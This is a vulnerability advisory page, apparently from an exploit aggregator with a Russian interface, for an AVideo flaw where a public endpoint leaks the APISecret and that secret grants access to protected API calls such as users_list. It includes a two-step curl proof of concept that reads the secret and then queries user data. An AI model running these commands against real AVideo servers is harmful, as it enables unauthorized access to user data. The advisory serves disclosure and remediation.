Логотип exploitDog
Консоль
Логотип exploitDog

exploitDog

github логотип

GHSA-xr49-f4rh-qcjf

Опубликовано: 05 мая 2026
Источник: github
Github: Прошло ревью
CVSS4: 7.7

Описание

AVideo Vulnerable to Exposure of Sensitive Information to an Unauthorized Actor and Missing Authorization

Summary

An unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in.

Details

objects/plugins.json.php is public and still exposes plugin object_data containing APISecret. That secret is accepted by plugin/API/get.json.php as authentication.

PoC

  1. Get plugin config (contains APISecret):
curl 'http://<host>/objects/plugins.json.php'
image
  1. Copy APISecret from response, then call API directly:
curl --get 'http://<host>/plugin/API/get.json.php' \ --data-urlencode 'APIName=users_list' \ --data-urlencode 'APISecret=<APISecret>' \ --data-urlencode 'rowCount=3' \ --data-urlencode 'current=1'
image

Impact

Unauthenticated disclosure of sensitive config (APISecret) leading to unauthorized access to protected API data.

Recommended fix

Requiring admin auth for full plugin inventory/config endpoint.

Пакеты

Наименование

wwbn/avideo

composer
Затронутые версииВерсия исправления

<= 29.0

Отсутствует

EPSS

Процентиль: 17%
0.00257
Низкий

7.7 High

CVSS4

Дефекты

CWE-200
CWE-862

Связанные уязвимости

nvd
3 месяца назад

WWBN AVideo is an open source video platform. In versions up to and including 29.0, an unauthenticated user can read APISecret from objects/plugins.json.php and use it to call protected API endpoints (e.g. users_list) without logging in. Commit 1c36f229d0a103528fb9f64d0a1cc0e1e8f5999b contains an updated fix.

EPSS

Процентиль: 17%
0.00257
Низкий

7.7 High

CVSS4

Дефекты

CWE-200
CWE-862